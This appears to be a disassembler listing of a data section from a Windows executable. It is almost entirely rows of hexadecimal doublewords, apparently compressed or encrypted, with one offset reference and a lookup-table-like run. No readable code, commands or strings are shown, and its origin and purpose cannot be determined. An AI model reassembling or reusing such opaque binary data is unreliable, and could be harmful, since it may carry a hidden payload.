		dd 0D434B23Ah, 3146E628h, 968C9FFDh, 0CD469434h, 0C02CAC86h
		dd 9AA59A4Ah, 94D1FB34h, 79A31D15h, 2CEBEB94h, 0D7CD2977h
		dd 4614C0E2h, 0B1EE1A63h, 27C9DBD7h, 30CF3B77h,	806143A6h
		dd 0F204CA78h, 57D4A6C3h, 0DC670D36h, 0D18A3C05h, 0F660D660h
		dd 64747926h, 58DFB857h, 510A6284h, 0A1FB3681h,	4E4BA4Ch
		dd 40A5FE4Ch, 8489518Ch, 2817FE4Eh, 140EAE5Bh, 0A0B19C6Ah
		dd 292602A4h, 6852E40Ah, 0ED510550h, 0D211F5F3h, 8A435ACAh
		dd 7A0F7E81h, 1F38A1C8h, 0DDFEC43Ch, 1AE64607h,	0B6247AEEh
		dd 905EAB78h, 0C1A2BEFh, 217F0A33h, 0BDD8E0FAh,	0C0E3EFADh
		dd 0CF00010Ch, 96BFFDC8h, 1C7DF706h, 0CED96260h, 0DFBDB0BCh
		dd 2B8CA997h, 940481F3h, 25C2517Eh, 36D3294Fh, 0FD3A081Ah
		dd 16974523h, 0F2F41FBEh
		dd 0DB3C8162h, 36FC6169h, 0CC5EE7D8h, 781817F7h, 1197A061h
		dd 0D4DADAD4h, 0DB56D144h, 901B43F1h, 589C9F19h, 7588C8F6h
		dd 0FB344487h, 618400A0h, 0A0800663h, 8EF8617Ch, 331F47Bh
		dd 0D9A4EC2Dh, 6225D358h, 41412589h, 6BDF0CC0h,	0F2067388h
		dd 0DF1B1F85h, 340894B7h, 0A3A73C81h, 0FA463C94h, 2227314Ch
		dd 0E509B8CFh, 0F85DE110h, 42834DC0h, 8A4C0E50h, 6507918Dh
		dd 7A17277Dh, 81D34029h, 34B83048h, 0F57B798Bh,	6F192A93h
		dd 718E0B0Ah, 0B60365A0h, 6940E94Fh, 47BF8330h,	85D01A0Ch
		dd 4713FD6Dh, 71A8D6F9h, 0BB02D6F2h, 6057BEB5h,	293C96DAh
		dd 61CC1503h, 0F5D9ADFh, 3B9C941Ch, 71A01301h, 5996B412h
		dd 9FC8730Ah, 0C34035CBh, 436C0546h, 40E56609h,	34220FFh
		dd 7DCB5D8Ch, 0BF1243Fh, 1822C456h, 8C58A890h, 3E26DD51h
		dd 2876C2F0h, 7F601758h, 6E6A766Eh, 0E338100Eh,	44E1EB2Bh
		dd 46FCFD40h, 86197FB9h, 84050D2h, 519CC92Ah, 0F03E57AEh
		dd 831B8E99h, 615DC38h,	0E4414500h, 0A22163A0h,	48910080h
		dd 2892E420h, 0A9C30420h, 160FBAh, 7CBD0F72h, 2DCC0B1h
		dd 0F956D2ADh, 4FF4AAB6h, 62D38123h, 58599686h,	0D627BE71h
		dd 91285E55h, 85C60D55h, 0B205AAACh, 50F020AAh,	21810683h
		dd 37586C5Dh, 8DEB6A17h, 0E10A342Fh, 57AE8115h,	1040F03Eh
		dd 0D7098133h, 0AC42F311h, 0BD7803CAh, 8F0A4050h, 1E415BB1h
		dd 98018E18h, 12100C30h, 60EA4409h, 8018901h, 0C4435552h
		dd 1F17137Eh, 314605A7h, 91F9CADFh, 899BCC48h, 0D44BDF3Dh
		dd 1329691h, 0F9950265h, 0FC8F4082h, 28C4103Ah,	0AD85A2DDh
		dd 8C44C55Eh, 2487A015h, 57EE29C1h, 8500C354h, 80561B1Eh
		dd 1556A9B2h, 0DF65E843h, 4AE2254Ch, 3240F48Ch,	8569E0D7h
		dd 0E542D6A8h, 0C329938Ch, 8A041948h, 12024400h, 41B08481h
		dd 0A648CA82h, 0DA152658h, 0B2D17EDDh, 0AC5337EAh, 0F92071F7h
		dd 2489A328h, 7E285597h, 57D7A615h, 0D62A285Fh,	10B90A2Bh
		dd 7C311C50h, 8468E6B2h, 6C398D43h, 0A1D10F01h,	0C6866CCCh
		dd 0BA1D0616h, 0C3B4634Bh, 0F84CC125h, 0BE0CE848h, 0EED37F90h
		dd 6C96ECBAh, 0C0F945AAh, 0F3855C3h, 1D9B9555h,	31921422h
		dd 2A9E6008h, 80E88592h, 9174E318h, 93153175h, 0D6CC7224h
		dd 0D10608BFh, 4963C5F2h, 84B87F20h, 0C7560BF3h, 8B73E791h
		dd 2A86E5D9h, 84130C1Dh, 9FFBF903h, 1E18C5FFh, 0ED845417h
		dd 58ACACCFh, 6D49E05Eh, 0AE74ABD6h, 608816A9h,	3C892009h
		dd 20898592h, 0CFF5024Ah, 9ABF0175h, 8DEB3026h,	0C45DB17Ch
		dd 40814048h, 10D02A4Ah, 64E698E0h, 0C12A1265h,	4380DD62h
		dd 9C32E7C9h, 67E9858Bh, 0FD9E89BBh, 72D7246Ch,	5FDF896Ch
		dd 8EE057E0h, 0CB1870F9h, 5D62D6h, 5DBA684h, 2FAFB487h
		dd 4C2519D6h, 17EB2365h, 0ACE1F7E9h, 0E2D142CDh, 0A65E1075h
		dd 0DAA03EFFh, 2C026FA5h, 36B2CBBDh, 4A129E0Dh,	0C8C6C662h
		dd 97C72ACBh, 0F1D96656h, 33F8F6C2h, 69147C66h,	7DC1D228h
		dd 0F19965FCh, 0F95822C2h, 24498351h, 799618CDh, 3520D184h
		dd 8DB44463h, 3032CC43h, 472D1D66h, 5271D917h, 28DCB23Eh
		dd 28E194E3h, 0CFA22690h, 0F73A5E84h, 45B6D1E1h, 477CBCCh
		dd 220F2949h, 7E3AC07Dh, 0EF3AE1Ah, 2AFCF95Eh, 208C7A43h
		dd 4A607585h, 400E312h,	3F0D4EE1h, 1A9AC844h, 7CA467Bh
		dd 45D0602Bh, 7F447C1Ch, 53A792F1h, 0B85FA798h,	1753E291h
		dd 35724557h, 0B137E6A7h, 0DFBA4EF3h, 0C17EDF61h, 7C02BF4Ch
		dd 0B4D2D2F1h, 0F81B428Ch, 0D91DE95Dh, 0F23DFB28h, 0AED7C6Ch
		dd 0D0513BFFh, 6B064100h, 7659793Fh, 6B1317B1h,	46951ABAh
		dd 54B038BAh, 435E8724h, 210B7BB7h, 8605986h, 0FE55A13Ah
		dd 0D8E48CE0h, 483B7E98h, 0A8EE4573h, 0C5292B0Dh, 92FF2582h
		dd 888A5865h, 3E5D015h,	4FD90213h, 8CA98D86h, 68D8BF14h
		dd 3D81E46Dh, 0FC3A831h, 0F624C912h, 0C0FE90BEh, 8EF2A93Bh
		dd 9A445617h, 153F258Dh, 3BBD677Fh, 8C5816Ch, 898D8982h
		dd 1DDC18D2h, 28A2A7A9h, 3116F4BFh, 0C7FEF340h,	0D8FF50C3h
		dd 0FC3AEC4h, 9A2B9E75h, 9331F91Fh, 11D4EDEBh, 47053E9Dh
		dd 0F46F8862h, 8FC092B3h, 9E5BC259h, 2CAA42Fh, 6F4BC45Bh
		dd 4E597A7Eh, 9D57CEF2h, 6C284F2Eh, 6618D4C9h, 62348E5Dh
		dd 0D49BB008h, 4A326080h, 6618E732h, 0D27EAC63h, 31E32E9Ch
		dd 0A4B3F06Ah, 662575D4h, 0E9D00BCBh, 3D100112h, 39E27387h
		dd 85E4A358h, 0EB7891B7h, 10AAB9C7h, 99F55570h,	1796D539h
		dd 5F5FE5FBh, 0ECBE145Eh, 0BCB6C2A8h, 7465CF38h, 0D179EBD0h
		dd 0B698F679h, 0B9DC4B5Ah, 0A8F400EEh, 0F27E64B5h, 0C927654Ch
		dd 2C823BB1h, 31A1CA1Fh, 7AB1165Dh, 99E481C1h, 0AAA6209Dh
		dd 4E9892B0h, 10F8E197h, 4D85BC8h, 0EA1F7678h, 63BCB8BBh
		dd 5E22A15Bh, 24F3534Ch, 8F5EBF3Dh, 3EC8BDE9h, 0E18579B8h
		dd 15939A62h, 610E303Fh, 6315A677h, 88FAE811h, 0F4C0C74h
		dd 84CEE58Ch, 809B0C1Dh, 5ABD205h, 0B2A1EFC2h, 93C2AEE3h
		dd 0EC7A5800h, 27B9E94Dh, 841D596Fh, 0C523079h,	0E560A143h
		dd 466B58Bh, 0B41DB8Ch,	0DB784A7h, 9847EDCCh, 0C88AB114h
		dd 28A55153h, 0AE984E24h, 0F79637E0h, 70F8BCC1h, 0CD42490Ah
		dd 90A77513h, 660A2990h, 1C363BFCh, 0DE30E9A1h,	4454123Ch
		dd 1474B99h, 705FC827h,	7D5AF13Bh, 0D901D246h, 9E0698C2h
		dd 0C54F977Eh, 835F0C9Eh, 26190145h, 48342292h,	4DE7117Dh
		dd 280860D7h, 0CFBDF11Dh, 2E92A01Eh, 8D68B839h,	5D8078CFh
		dd 0BB0EDA77h, 0E5055340h, 883117FBh, 83A6756Ah, 0FA89A5ABh
		dd 2AD6C11Bh, 3445AC47h, 86048E84h, 6E3C37DBh, 0A29082FEh
		dd 0E301140Bh, 89B4F5D0h, 0BA30C3E8h, 1C324700h, 1C02C0E5h
		dd 39196F1h, 238E9A3h, 880D44Eh, 649405D5h, 0C1F03968h
		dd 3E20601Ch, 4D5220DAh, 411C2685h, 44592A97h, 0CA5C02EDh
		dd 0BB58628h, 55048470h, 38058C0Eh, 73754E62h, 0A118DB00h
		dd 4EFAF82Eh, 0C8C69220h, 0A085CCD0h, 0D5B14EE1h, 8B2B748Ah
		dd 9A82731Ah, 17CEED3Bh, 6BDF3567h, 98F0BAFBh, 0E1C4F3ACh
		dd 0D752E05h, 12634ACFh, 0C1334ABEh, 9AC448A6h,	3871588Ah
		dd 0E3C978EAh, 68823189h, 7A375A62h, 0D57278D9h, 75F204Ch
		dd 12201160h, 0F089h, 0D0000000h
		db 1, 0
		dd offset dword_41E000
		dw 434Ah
		dd 5000h, 0
		dd 20E8EEB4h, 423CDBC0h, 873BB28h, 79E0E84Fh, 22087B77h
		dd 684C79A8h, 5727C85Eh, 0F8343231h, 0AEF01042h, 0A3E02177h
		dd 0CFA149BDh, 206C020h, 71BB6435h, 9384265Ch, 843138B0h
		dd 10FECE80h, 0C001B3DBh, 80309276h, 0D0B2E800h, 423F1442h
		dd 0F76040Ah, 67980421h, 0DF7420A3h, 3F5B889h, 8F48EA1Dh
		dd 0A42212E0h, 108B4050h, 0B4624102h, 4FC443B1h, 0EF020ACEh
		dd 75023460h, 10815310h, 8AF61090h, 6F50ED69h, 50AEDC01h
		dd 0C2DBB201h, 0A8F150Ah, 46781033h, 596429DAh,	243EFCB4h
		dd 24D8642Bh, 0D0E6C0B0h, 284BF740h, 81539121h,	4BFB0106h
		dd 798021Dh, 0AFFA1593h, 0C08183EFh, 80867F5Ah,	61E5B90h
		dd 86B2E88h, 4BE3A081h,	60AB0084h, 927C87B4h, 68704323h
		dd 0C9848085h, 4B300E19h, 0D91A056Bh, 86066C8h,	4E71C867h
		dd 3E20A1E7h, 0FA8084B0h, 0D213CF7Ah, 192E8217h, 5E784891h
		dd 42AFC203h, 8A74404h,	357E2030h, 0F2EB10EDh, 0ECD087B4h
		dd 0A585DDA1h, 0BF68107h, 5222856Bh, 54021A3Fh,	7018789Bh
		dd 0A2DDB4C5h, 52FCA191h, 0DE21FC50h, 0E291CF10h, 0EDDC0042h
		dd 1BA843A5h, 7D42860Ah, 371D4808h, 48634061h, 0C50B287h
		dd 4600428Ah, 3838081Ah, 19CD0A12h, 0C6C8AD30h,	6010C4F2h
		dd 414271AFh, 2AA3A347h, 6C0123h, 0A0231E4Ah, 3E948129h
		dd 0A5224A4h, 694908B0h, 0B98F8D8h, 8871F788h, 5EFB8041h
		dd 67E021CBh, 0C8808444h, 60681F20h, 20DEA9C9h,	7476CA68h
		dd 64640463h, 4946D8E2h, 80808C09h, 281A5044h, 0A0A94192h
		dd 83A5084Ah, 12942928h, 5A50C4A1h, 0A9439287h,	0A5104A22h
		dd 9449289Ah, 5144A2A9h, 45928BA5h, 186A07B5h, 1DCA091Eh
		dd 2808F892h, 0FF251AEEh, 0A1364AA4h, 95812BE2h, 59849805h
		dd 337D1A01h, 1F27C804h, 26B19050h, 0AFC8C042h,	0AB7B428Bh
		dd 54620CDDh, 6D00C221h, 24610CB3h, 30E5108Bh, 0D09B908Eh
		dd 70717A0h, 2190031h, 0CDA58D01h, 1EE018F0h, 93A59184h
		dd 26DAF4CBh, 9DD2E569h, 0B759E405h, 0EDE48ADBh, 0A012110h
		dd 34BB584Dh, 16B21E61h, 8AE16F34h, 60D93064h, 6A00347Ah
		dd 5D06582Ah, 0B6EB593Bh, 7DDCA482h, 0CB78B194h, 0B803D802h
		dd 640207C1h, 0D3A03477h, 7C27EC10h, 93382305h,	0C108C03h
		dd 0A7FE0E45h, 1D30163Bh, 9DB7C101h, 611E5281h,	24105C9Ch
		dd 65845AB6h, 38158011h, 80C0A070h, 482C1A0Fh, 884C2A1h
		dd 70C86C3Ah, 1F102000h, 48C949CAh, 4ACB4BCCh, 4CCD4DCEh
		dd 4ECF4FD0h, 50D151D2h, 52D353D4h, 54D555D6h, 56D757D8h
		dd 58D959DAh, 5ADB5BDCh, 5CDD5DDEh, 5EDF5FE0h, 60E161E2h
		dd 62E363E4h, 64E565E6h, 66E767E8h, 68E969EAh, 6AEB6BECh
		dd 6CED6DEEh, 6EEF6FF0h, 70F171F2h, 72F373F4h, 74F575F6h
		dd 76B7B1E1h, 0E3E4A0D1h, 0EBEDEFF1h, 0F3F5F7F9h, 0FBFDFE46h
		dd 0F5A2EC5Eh, 0EE3EF094h, 0D02AA189h, 0E85FC810h, 72F174B3h
		dd 8A6659D9h, 57621624h, 45231CACh, 40E63767h, 994326C9h
		dd 116997Fh, 4D651C0Fh,	5033C747h, 0B04A291Ch, 71879541h
		dd 15178F52h, 278026A4h, 8821F71Fh, 6C38B52h, 2145AF69h
		dd 5068020h, 27046213h,	14012151h, 2D6C08E8h, 53D05C1h
		dd 9D850602h, 36F604B5h, 0CD28CB50h, 123A885Bh,	83A09802h
		dd 8127C781h, 30058808h, 95BB02C4h, 92280120h, 7C470FBFh
		dd 0CB17E14Fh, 7340BB41h, 9CBE6481h, 3B4A990h, 486B02BBh
		dd 907A089Bh, 5264BD12h, 2D5D4C6Ah, 0DB8608ACh,	6DB33141h
		dd 4F3B270Fh, 3F100B3Ch, 0BD5BA4E9h, 0EDE55880h, 342104DCh
		dd 0B9353333h, 0F4C93071h, 1AE26477h, 273B1D83h, 0F942033Fh
		dd 37041318h, 494004D2h, 0B6B052A4h, 34C1599h, 8E1F025Dh
		dd 9D3C65D6h, 868EF418h, 0F32BDA57h, 905B0A83h,	0FA289C1h
		dd 0DF02AB5Dh, 8B5D00A0h, 41D00B9h, 864D9F10h, 33388E70h
		dd 93F93261h, 49C85814h, 813D3B0Eh, 0D7456816h,	342080E0h
		dd 9012064h, 0B140CB65h, 0EEA71702h, 7EA07817h,	80D2141Dh
		dd 0A5B99AF6h, 2EDF3088h, 8169B093h, 0AE6A0D09h, 215B4182h
		dd 0D0EE7A8Bh, 8E6B6E99h, 830AD477h, 33671DA3h,	1BD22B03h
		dd 0A00C8738h, 9A0435C9h, 0EAE2AA14h, 12DF6E56h, 260101C6h
		dd 1C723E8h, 5FE2B503h,	814391Ah, 4D3943A4h, 9F17AF38h
		dd 2094F9EFh, 0EC6ACD2h, 0B8F648E6h, 56B5005h, 4080153Ah
		dd 0F945E5B3h, 0D3C83516h, 200123BFh, 985E0550h, 90DB2855h
		dd 34A256A0h, 0D4C74A80h, 2850545h, 79C31E55h, 2D3E2852h
		dd 1912A6A8h, 0CE169570h, 0D39F67A8h, 3637EC01h, 0A0EF8825h
		dd 19BC3D2Dh, 0F98DF096h, 489DDDE3h, 39CA028Dh,	3E74286Ch
		dd 78289C1Ch, 50BD96B5h, 771431Dh, 9430D2C5h, 3E6FC5B9h
		dd 54BDCD2Dh, 451C300Dh, 1AD60EC1h, 50AE5041h, 0DC69C508h
		dd 24D104A9h, 0A8119872h, 0C8C414CAh, 7088DF65h, 86C56CB2h
		dd 0B41FCD04h, 0A035760h, 514DDB93h, 7AEF6928h,	0A5C7CC71h
		dd 85135945h, 72C8C70Fh, 0D3544B85h, 0D5BFABB5h, 0A4B5D0C8h
		dd 442942E2h, 994814E1h, 45346607h, 6AF8561Ah, 72D897A8h
		dd 5300EB6Eh, 8DC68CC0h, 0D319CB7Ch, 784EE060h,	0EA9D8C50h
		dd 106C8507h, 40EB1674h, 0E1304702h, 52C62696h,	450699C9h
		dd 0E7824A6Eh, 9F5B5677h, 8762D172h, 0AC3AB03h,	25AD8C34h
		dd 5063718Dh, 626D7013h, 0BD28A79h, 0E39EBF04h,	65C6EAB0h
		dd 34CB73h, 55273971h, 0B2604C59h, 0A438B5E0h, 0B3ACA782h
		dd 2DDF03A1h, 3B9A8829h, 772AE79Ah, 0EE36244Ah,	729AC088h
		dd 0A5B41596h, 0D020BA05h, 0C8594E13h, 58C94B3Dh, 0D429AE6Ch
		dd 0B0D3244Bh, 33D8A5D1h, 71CD8060h, 0D077BDAFh, 2D74C009h
		dd 4D6B2061h, 14AE2CC0h, 0B15636DBh, 0CD439592h, 50216A63h
		dd 0DDAC1450h, 0A0B99700h, 2119E5C0h, 2F2CE0A9h, 6D736008h
		dd 5BAAE593h, 4F87058Ch, 0EA2A93E9h, 210B8A83h,	1393A902h
		dd 0E3FE9F0Bh, 0FB045FF4h, 0CF030852h, 5CA8540h, 0D0712A1h
		dd 43C00212h, 0A6586139h, 5F2A4DC4h, 47E360Ah, 168A1A96h
		dd 36B3F3FCh, 70A3F6EDh, 2C05822Ch, 0A91C162h, 2A4A9732h
		dd 24ED2040h, 0A39164B3h, 6B28071h, 25C20942h, 92D26C10h
		dd 0AC212C00h, 0AB32D319h, 8350793Fh, 0B087B049h, 8300287h
		dd 659C0482h, 8C3048A8h, 8C5DC8DFh, 6AD4123Dh, 85E9832Ah
		dd 0E8382F5Ch, 562599E5h, 0EB479805h, 555240C0h, 5B4A1163h
		dd 0A8AF5217h, 0A08602D4h, 0C222F441h, 36C0A3D0h, 145FA208h
		dd 0F6091E81h, 22FD104Eh, 902C04AEh, 0ED684F54h, 80B01612h
		dd 45F9602Dh, 8FB01640h, 917E5809h, 0C602FD1Ch,	2FE00A8h
		dd 0A24C1CA1h, 547A02C0h, 2EB31869h, 2602778h, 40184B42h
		dd 4AA33A60h, 30382C1Eh, 130B86C3h, 0E23138ACh,	5E331B8Eh
		dd 0C7E43239h, 2C9E532Bh, 96CBE633h, 39ACDE73h,	3B9ECFE8h
		dd 343A2D1Eh, 934BA6D3h, 0EA353AADh, 5EB35BAEh,	0D7EC363Bh
		dd 2D9ED36Bh, 0B6DBEE37h, 3BADDEF3h, 7BBEDFF0h,	383C2E1Fh
		dd 138BC6E3h, 0F2393CAEh, 5F339BCEh, 0E7F43A3Dh, 2E9F53ABh
		dd 0D6EBF63Bh, 3DAEDF73h, 0BBDEEFF8h, 3C3E2F1Fh, 93CBE6F3h
		dd 0FA3D9EBDh, 6637DBEEh, 0F7FC3E3Fh, 2F9FD3EBh, 0F6FBFE3Fh
		dd 3FAFDFF3h, 0FBFEFFAAh, 992AA8AAh, 54EB2A99h,	2BA2801Bh
		dd 0BDAD4746h, 80DDED74h, 35480774h, 57127F98h,	81F1480Fh
		dd 54D7C351h, 78800190h
		dd 4AEBB491h, 4F35E544h, 0E4005ACAh, 0CD48B01h,	37C80291h
		dd 30AF40Ah, 1974644Dh,	3A86080h, 8AB9B02Ah, 9B02B9A6h
		dd 8473BBFDh, 9831B3D5h, 43E00BB4h, 0D79A8615h,	4C1F5E72h
		dd 6B388041h, 945FB044h, 0C083BB95h, 1307C3C9h,	7BB53378h
		dd 4CF1F425h, 8DCBC46Bh, 0D5D33332h, 8CF70178h,	0D08C10B1h
		dd 0A909909h, 1089070Fh, 0C8890810h, 79069048h,	15F4F53Fh
		dd 0C85844F1h, 85F00AF5h, 3A0133CDh, 852D7E53h,	43E8C1B6h
		dd 0A7AB0519h, 0BDFDC08Fh, 0A7EAC110h, 88079071h, 6105104h
		dd 904111C9h, 550D54C3h, 0F20297EAh, 34CDBF5h, 5A608781h
		dd 0BF0325B0h, 0CD84A7A0h, 0B8D00127h, 6F87672Bh, 0E4E19FC5h
		dd 0D4112633h, 1561F156h, 5929C1CFh, 0B15C170Bh, 0E474A83Ch
		dd 37D27C9Bh, 6E50F981h, 38F061F8h, 20309F2Dh, 0E625307Ch
		dd 8243E69Dh, 851C62FCh, 5782428Ah, 0D546A7C9h,	0EE56457Bh
		dd 81568F45h, 51E40886h, 0A51F9A3Bh, 9D4538B8h,	3C7076A8h
		dd 52133AFCh, 0A07B15E3h, 1162C57Ch, 3E556FDDh,	3A4B34D4h
		dd 0C9270312h, 46389F92h, 0D98A9F18h, 0B319435Bh, 93E47C3Bh
		dd 5A4E552Ah, 0F390BB13h, 33F10CC9h, 31222ADh, 44B30F37h
		dd 1CE830Dh, 26EA3167h,	35CFB282h, 0A8D28F3h, 7078A1C2h
		dd 0B3282F29h, 0F23F788Fh, 0DD1096ACh, 89B7BA1h, 60A481E6h
		dd 0AB710C90h, 31068C3Dh, 0DC0B1B8Dh, 0EA2ADEE9h, 0E6639C10h
		dd 59098384h, 0EF719F70h, 265373BDh, 0B9956E84h, 687D9925h
		dd 9891C041h, 0D2D42592h, 3E58B900h, 21EBC83Dh,	128E148h
		dd 3584C654h, 83605079h, 59A41E51h, 0C1714D87h,	0C628C50Fh
		dd 0DD948CD9h, 640D6573h, 0FF2C866Eh, 6A11B8A3h, 0A8756885h
		dd 0C53C1D94h, 0C05514B8h, 552E6A19h, 0C4CE28E7h, 8AB47CC9h
		dd 38B4C659h, 6CD615D9h, 8E50ADF1h, 0A01E6405h,	0E6BDC616h
		dd 5AC0EB36h, 0B3100E5Ah, 68E56E03h, 15D1CE02h,	0DF666448h
		dd 23491C13h, 2536B814h, 0ACCC18D5h, 0E5FA88BEh, 8C9929h
		dd 0E120149Fh, 12010928h, 18CBC046h, 5A94AD29h,	5257C248h
		dd 49892060h, 348046FCh, 94A25284h, 0B0084334h,	4008678h
		dd 9154A4A0h, 232F4A5Bh, 3E95110Ch, 0D1100320h,	120153A0h
		dd 6B2A0730h, 105D1645h, 13188A4Bh, 54521101h, 28D10C45h
		dd 25B3145Bh, 21024ABEh, 4974952Dh, 969B381Eh, 5900C6E4h
		dd 0E3B47900h, 62B80144h, 0DA68042Bh, 0E570DDE8h, 166A3D81h
		dd 0C1A018h, 2FCB7306h,	202C5918h, 91AE0681h, 799705EFh
		dd 303F0085h, 6B68E4A0h, 14A29FBAh, 9186008h, 914BE9FAh
		dd 43D1DC23h, 0D97010Fh, 40047909h, 6F12D825h, 0BD815088h
		dd 0FE3EA041h, 0DC011E42h, 5A84B189h, 19071D00h, 8DC3C88h
		dd 67008730h, 233C820h,	58650087h, 200238C4h, 0B0095F12h
		dd 0BC25744Ah, 0E095B12Bh, 425644ACh, 95712ACh,	25544AA0h
		dd 95312A42h, 5444A809h, 4F129C25h, 344A6094h, 0B1294252h
		dd 44A40947h, 128C2514h, 4A209431h, 28425044h, 0BF1F943Dh
		dd 897912ECh, 25C04B68h, 96812C02h, 5604A809h, 48122297h
		dd 73F08701h, 2CE257C4h, 0AA894E12h, 9425244Ah,	3894312Fh
		dd 47808C3Ah, 0AFF7020Eh, 0A008F112h, 0D425884Ah, 0C094E128h
		dd 825E4FB2h, 1C84B489h, 6012AA25h, 284A1855h, 454C8360h
		dd 96189E0h, 57437221h,	3020278h, 22914829h, 2772E8C2h
		dd 8023ECF2h, 4C09602Ah, 4F10EE4h, 312893CEh, 0D55C242h
		dd 0EEE5EC6h, 89621EF7h, 0A500C84Ch, 3646C2D0h,	1000908h
		dd 2507BC5Ch, 95DC031h,	0DCB8D1DEh, 411DCB4Ch, 0ABBA8661h
		dd 0ABBD4DC4h, 5972D006h, 1AAAC005h, 0C97215A9h, 2BB6D2D4h
		dd 1634298Bh, 2AC72C6Eh, 0A7F550B7h, 0DC2EA4C1h, 4D840647h
		dd 8D56A74h, 5A93BD9Dh,	0D9CCC06Ch, 4ED812AFh, 0AF9FE0C6h
		dd 599DED54h, 3ABA3E96h, 25A02BCDh, 0B8046629h,	4C08D9AEh
		dd 4BA45400h, 86574E11h, 6904B45Eh, 6E06D6DCh, 0AC761B13h
		dd 0A34D6CB2h, 3104C1E1h, 12D71B95h, 0D174F8E9h, 92403B68h
		dd 49762880h, 8D74EB0Ch, 0AAD7DF2Fh, 480BD2E2h,	0F4F0BD4Ah
		dd 2F560BD6h, 62F5D4E8h, 788E81E3h, 0A0B0E83Ah,	0C5E5D0h
		dd 0AC00CB63h, 0A1C8E880h, 3A238E89h, 0C3A2AC00h, 0A5E57302h
		dd 4BB2E670h, 2FD01A82h, 826980FFh, 92A399A4h, 0DCD44BE5h
		dd 0B412074h, 508B0200h, 1C135ED8h, 47D38383h, 5A874F38h
		dd 4EAB5492h, 1198C8EAh, 26A824C8h, 810D24BDh, 188A6511h
		dd 1AA60C6Bh, 0B3E452D8h, 0F6ECBB3Eh, 0B53DD481h, 2A8BD248h
		dd 616B510h, 45128B62h,	8C51D730h, 0D01CD9FAh, 18008D51h
		dd 84AA1E25h, 6CB40465h, 0C0242A76h, 0EB097503h, 83EA1433h
		dd 1240A946h, 0B49B765Ch, 9841A9CAh, 4C4102A0h,	0C9646F40h
		dd 0E30FB308h, 330FC45Ah, 3188318h, 4118812Ah, 4072CA95h
		dd 34ABA82Eh, 5E5630C6h, 47035004h, 29CBF2E1h, 45BC5042h
		dd 0C9A54698h, 2D2D83CAh, 320A2E8Eh, 0E5401D8Bh, 21812A65h
		dd 0DBA12A77h, 918C1100h, 20A12FDBh, 52C1601h, 72C93A33h
		dd 25B9830Dh, 3E8D54ABh, 0D06A545Ah, 0E2FDC2A1h, 0B59DB0E1h
		dd 9A1A8EA1h, 251C6AB2h, 83C1D50Ch, 0EAE2FD74h,	1163077Ah
		dd 9EEF220Ch, 69AA36A0h, 0C68EE54Ch, 0B1DC42Ah,	0E6365592h
		dd 754A2D34h, 240192E8h, 1B8F8301h, 75978989h, 0F6204354h
		dd 5301CAE1h, 506940F5h, 8C94150h, 0A071035Dh, 3546A9D1h
		dd 74516D08h, 839935A9h, 1185E50Eh, 0C51AEBABh,	9922C54Ah
		dd 43E030D0h, 7EE180B5h, 0B2D22893h, 0CAA4F955h, 3256005Fh
		dd 22AA7014h, 0EAA48299h, 412C569Ah, 0E96C9723h, 32A972B5h
		dd 48D93C7Ah, 64B7D8C3h, 0CA036B0Eh, 34D65D30h,	60CE98A2h
		dd 0CD968242h, 1DB332C1h, 85403D63h, 0B40E4283h, 0E1286C2Ah
		dd 74FA700Ah, 0DBC1E913h, 5C0500A2h, 0D366751Bh, 69580FCh
		dd 0B59D4F70h, 26188189h, 4C0215BFh, 1AE96DB8h,	4B4C5A40h
		dd 28072C60h, 152EB139h, 7E846EEAh, 32D082h, 0A8D0546Ah
		dd 0B496C627h, 407056B3h, 4F36B1E8h, 76984A8Bh,	446B30A8h
		dd 244F0A4Bh, 49556A07h, 68354040h, 13E0C0B2h, 4B980D08h
		dd 0D5A93532h, 332A5CCCh, 8D62A044h, 854449Fh, 0EA2272FFh
		dd 588A0800h, 433542AAh, 68152B74h, 0FA9CEA40h,	0EE2CACDCh
		dd 6A49403Eh, 50D26090h, 147D9C05h, 234B2020h, 1694AE66h
		dd 1319CCC9h, 0BCD00826h, 12E4C004h, 272F356h, 10A6CC11h
		dd 29E63104h, 69822638h, 0A6E1C936h, 0B109A63h,	0B8145870h
		dd 53B2AC3Bh, 8C5D47A2h, 0B52951BAh, 0D967E085h, 48384AA1h
		dd 2F0B026Ah, 4282A856h, 9CE1E949h, 5514E761h, 59DE1A96h
		dd 67402D96h, 0D30052CEh, 5ED0E290h, 0C2812552h, 3DA74E93h
		dd 28FA6C8Ah, 0F4B3430h, 6B8E930h, 623302CAh, 694A6396h
		dd 0B6537503h, 0CC110ADCh, 963E2E76h, 6402B948h, 5943F29h
		dd 0D2FA0CA4h, 0D0268403h, 5A8E9A25h, 4C4F0E5Ch, 0E5CC69BCh
		dd 0D26319AAh, 111B2672h, 1AF2BC36h, 248106Dh, 4696B62Bh
		dd 308403E5h, 2600133Ah, 7F61818h, 0AC220A0Bh, 8C14C585h
		dd 39879400h, 499AA679h, 210219D8h, 8CB4556h, 5E02371Bh
		dd 0BB51174Bh, 0CAC025BDh, 0D14CB22Eh, 0C762EC74h, 5EAF163Bh
		dd 0B58ADD6Dh, 0A8D5E8B5h, 2AA566ABh, 49A7D429h, 94BA5522h
		dd 8F46A254h, 0E835AAC5h, 0EAD42A7h, 5344CAB6h,	0A68613BEh
		dd 11D40C1h, 1469814Ah
		dd 4CDA6975h, 614182D8h, 0C6BA380h, 4ACC7A40h, 0D90A3695h
		dd 439D572Fh, 400B2EB2h, 0DE0991B4h, 5D095C27h,	52F25774h
		dd 25D7353Eh, 2476F36h,	8B7AB230h, 78CA9165h, 0A4F283A2h
		dd 0AA6A92FBh, 0D4C029D8h, 6CC4BF1h, 542C8D12h,	6F71E7FEh
		dd 0F81B5D2Fh, 6CA7A673h, 56CBDBBEh, 3112759Dh,	260A7F92h
		dd 0EAD7A39Ah, 0BCC6AA0Fh, 0D880D6F0h, 712DF616h, 6324E1DFh
		dd 61955BA5h, 74DDCBFDh, 0B1EF6034h, 0F06EE66Ch, 0EFC4A704h
		dd 95A4AF93h, 0D47DF7Bh, 0F8D9D370h, 0FE668619h, 24B7CB3Dh
		dd 374C25FFh, 74AEE6Ah,	7615CED6h, 23F376A9h, 5467D98Bh
		dd 6F1A63A8h, 0E449E07Bh, 0E3DFEB3h, 0BFF9C2FCh, 7E8F91Dh
		dd 3F56A363h, 0E541ACF2h, 92514C2Ch, 2B6F279Ch,	486372EFh
		dd 0E5B6594Dh, 89C34DD4h, 0EA973855h, 977652D5h, 76977278h
		dd 581C2CB2h, 0E592D0FAh, 2CD4BBC5h, 9235A8B8h,	62CC70B4h
		dd 751B671Eh, 33E88349h, 34F47CCFh, 5B0B3587h, 7D2E1A0Bh
